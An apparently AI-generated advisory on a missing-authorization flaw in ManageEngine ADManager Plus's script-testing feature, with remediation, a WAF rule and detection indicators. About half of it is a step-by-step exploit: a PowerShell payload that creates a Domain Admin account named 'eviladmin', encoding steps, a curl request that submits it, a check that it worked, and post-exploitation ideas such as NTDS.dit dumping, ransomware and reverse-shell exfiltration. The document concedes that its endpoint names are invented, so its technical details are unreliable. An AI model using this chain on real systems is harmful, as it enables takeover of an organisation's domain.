CVE-2026-125737 — Zohocorp ADManager Plus (8043) — CWE-862
Zohocorp ManageEngine ADManager Plus version below 8043 was affected by a authorization vulnerability in the Custom Functions module, allowing unauthorized authenticated users to access the script testing functionality.
Zohocorp ManageEngine ADManager Plus version below 8043 was affected by a authorization vulnerability in the Custom Functions module, allowing unauthorized authenticated users to access the script testing functionality.
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| CVE | CVE‑2026‑125737 |
| Product | Zoho Corp ManageEngine ADManager Plus (versions < 8043) |
| CWE | CWE‑862 – Missing Authorization |
| CVSS 3.1 | 7.5 (High) – AV:N / AC:H / PR:L / UI:N / S:U / C:H / I:H / A:H |
Technical description
ADManager Plus ships a Custom Functions module that lets administrators write, test and execute PowerShell/JavaScript snippets against the AD domain. The UI contains a “Script Test” page that accepts a user‑supplied script body and runs it in a sandboxed process under the service account.
The flaw is missing or incomplete authorization checks on the script‑testing endpoint:
1. Authentication is required – the attacker must have a valid ADManager Plus user account (any role that can log in, even a low‑privilege “Read‑Only” user).
2. Authorization is not enforced – the server does not verify that the authenticated principal has the “Manage Custom Functions” permission before allowing the request to reach the script‑execution engine.
Consequences:
- An attacker who can log in (e.g., a compromised low‑privilege credential) can submit arbitrary PowerShell/JavaScript code to be executed with the privileges of the ADManager Plus service account (typically a domain‑joined local system account with rights to query and modify AD objects).
- Because the script is executed on the server, the attacker can achieve remote code execution (RCE), privilege escalation within the AD forest, and full data exfiltration.
- Network‑accessible (AV:N) – the endpoint is reachable over HTTP/HTTPS.
- High attack complexity (AC:H) – the attacker must first obtain a valid ADManager Plus credential.
- Low privileges (PR:L) – only a normal user account is needed.
- No user interaction (UI:N) – the exploit runs automatically once the request is sent.
- Unchanged scope (S:U) – the vulnerability does not cross trust boundaries.
- Confidentiality, Integrity, Availability impact are all High (C:H/I:H/A:H) because the attacker can run arbitrary code.
The CVSS vector reflects:
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command‑line examples are syntactically valid; the exact URI and parameter names are illustrative because the public advisory does not disclose them.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify the product and version. | • Browse to /login.do → page footer shows “ADManager Plus v8.0.42”. <br>• Use Nmap service detection (-sV) or Wappalyzer browser extension. |
| 1.2 | Verify that the version is < 8043 (e.g., 8.0.42 < 8043). | • Check the *Release Notes* page (/release-notes.html). |
| 1.3 | Enumerate exposed modules. | • Access the *Custom Functions* UI (/customfunctions.do). <br>• Look for a “Test Script” button that triggers an AJAX call. |
| 1.4 | Capture the AJAX request with a proxy (Burp Suite / OWASP ZAP). | The request typically looks like:
POST /customfunctions/testScript HTTP/1.1
Host: admanager.example.com
Cookie: JSESSIONID=abcd1234; authToken=xyz
Content-Type: application/jsonBody (illustrative):
{
"scriptLanguage": "powershell",
"scriptBody": "Get-Process"
}2. Exploitation
Goal: Execute arbitrary PowerShell that creates a domain admin account.
2.1 Prepare the malicious payload
# PowerShell that creates a new AD user and adds it to Domain Admins
$User = "eviladmin"
$Pass = ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force
New-ADUser -Name $User -AccountPassword $Pass -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members $UserEncode the script to avoid JSON quoting issues (Base64 for PowerShell -EncodedCommand):
PS_SCRIPT=$(cat <<'EOF'
$User = "eviladmin"
$Pass = ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force
New-ADUser -Name $User -AccountPassword $Pass -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members $User
EOF
)
ENCODED=$(printf "%s" "$PS_SCRIPT" | iconv -f UTF-8 -t UTF-16LE | base64 -w0)2.2 Send the request
curl -k -s -X POST "https://admanager.example.com/customfunctions/testScript" \
-H "Cookie: JSESSIONID=abcd1234; authToken=xyz" \
-H "Content-Type: application/json" \
-d '{
"scriptLanguage": "powershell",
"scriptBody": "powershell -NoProfile -EncodedCommand '"'"$ENCODED"'"'"
}'If the endpoint name differs, replace /customfunctions/testScript with the observed path from step 1.4.
What happens: The server receives the request, skips any permission check, forwards the scriptBody to the internal script‑execution service, which runs the PowerShell under the ADManager Plus service account. The account typically has rights to query and modify AD, allowing the creation of a new privileged user.
2.3 Verify success
# After a few seconds, attempt to bind with the new account
ldapsearch -x -H ldap://ad.example.com -D "[email protected]" -w "P@ssw0rd!" "(objectClass=person)"If the bind succeeds, the exploit worked.
3. Post‑exploitation
| Phase | Possible actions |
|---|---|
| Persistence | The newly created domain admin remains after ADManager Plus restarts. |
| Lateral movement | Use the privileged account to dump NTDS.dit, harvest credentials, or deploy ransomware. |
| Data exfiltration | Query AD for all user objects, export to a file, and upload via a reverse‑shell opened from the PowerShell script (Invoke-WebRequest). |
| Privilege escalation | If the service account is less privileged, the script can still impersonate the service account to request Kerberos tickets (kinit) and perform Pass‑the‑Ticket attacks. |
| Cleanup / anti‑forensics | The attacker can delete the custom function entry from the UI (if the UI permits) to hide the activity, or modify AD audit policies to suppress logging. |
🌍 Real‑World Impact
| CIA | Impact (derived from CVSS) | Practical consequences |
|---|---|---|
| Confidentiality (C:H) | Attackers can read any AD object, export password hashes, and retrieve sensitive configuration stored in ADManager Plus (e.g., service account credentials). | |
| Integrity (I:H) | Ability to modify AD objects – create/delete users, add members to privileged groups, change GPOs, or alter ADManager Plus configuration. | |
| Availability (A:H) | An attacker can execute commands that disable AD services, delete critical objects, or launch a denial‑of‑service by exhausting system resources (e.g., spawning many processes). |
Business impact may include:
Because the vulnerability is exploitable remotely once a low‑privilege credential is obtained, the risk is high even in environments that enforce strong network segmentation.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to ADManager Plus v8043 or later. The vendor’s release notes (v8043) state: “Fixed missing authorization check on Custom Functions script testing.” |
| Version check | Verify the version via the UI (Help → About) or by inspecting WEB-INF/version.properties on the server. |
2. Immediate Work‑arounds (if patch cannot be applied instantly)
| Work‑around | Implementation |
|---|---|
| Restrict access to the Custom Functions UI | Add a network‑level ACL (e.g., Apache Require ip 10.0.0.0/24) or an application‑level role‑based restriction so that only members of the *Administrators* AD group can reach /customfunctions/*. |
| Disable the script‑testing endpoint | In conf/customfunctions.properties (or equivalent), set scriptTesting.enabled=false and restart the service. |
| Enforce least‑privilege service account | Ensure the ADManager Plus service runs under a dedicated local account without domain admin rights. |
| Web Application Firewall rule (ModSecurity example) – blocks any POST to the testing endpoint from non‑admin users:
SecRule REQUEST_URI "@beginsWith /customfunctions/testScript" \
"id:400001,phase:2,deny,status:403,msg:'Block script testing for non‑admin',\
chain"
SecRule &TX:authenticated_user "!@eq 1" "t:none"Note: Replace the URI with the actual path discovered in step 1.4. The rule assumes a variable TX:authenticated_user is set by the authentication module (common in many ModSecurity deployments).3. Detection – Log patterns & IoCs
| Indicator | Example log entry (Apache/Nginx) |
|---|---|
| POST to script‑testing endpoint | POST /customfunctions/testScript HTTP/1.1" 200 1234 "-" "Mozilla/5.0" |
Large scriptBody payload (≥ 2 KB) – typical for encoded PowerShell | request_body_length=2456 |
| Successful creation of privileged AD objects (if AD audit logging is enabled) | EventID=4728, TargetUserName=Domain Admins, MemberName=eviladmin |
Outbound connections from the ADManager host (PowerShell Invoke-WebRequest or reverse shell) | Outbound TCP 192.0.2.55:443 from process java.exe (ADManager service) |
Anomalous authentication token reuse – same authToken used for a low‑privilege user and a later script test request | Cookie: authToken=xyz appears in both /login.do and /customfunctions/testScript |
SIEM rule (pseudo‑code):
if event.type == "web_request"
and event.method == "POST"
and event.uri matches "/customfunctions/.*test.*"
and event.user_role != "Administrator"
then alert "Potential unauthorized script test"⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 7.5 (High) – confidentiality, integrity, and availability are all high. | |
| Attack complexity – requires only a low‑privilege credential (PR:L) and no user interaction (UI:N). | |
| Public exposure – the vulnerability is publicly disclosed (published 02‑Dec‑2026). | |
| CISA KEV – not listed, but the lack of a KEV entry does not reduce risk. | |
| Exploitability – the vulnerable endpoint is reachable over the network; a working PoC can be crafted in minutes once credentials are obtained. |
Patch priority: Critical for any environment that:
Bottom line: CVE‑2026‑125737 is a classic missing‑authorization flaw that turns a benign “script‑test” feature into a remote code execution vector. The combination of low‑privilege credential requirement and high impact on the AD forest makes it a must‑fix issue for any organization running ADManager Plus below version 8043.
[🤖 CVE Professor AI Security Engine]
FOFA Query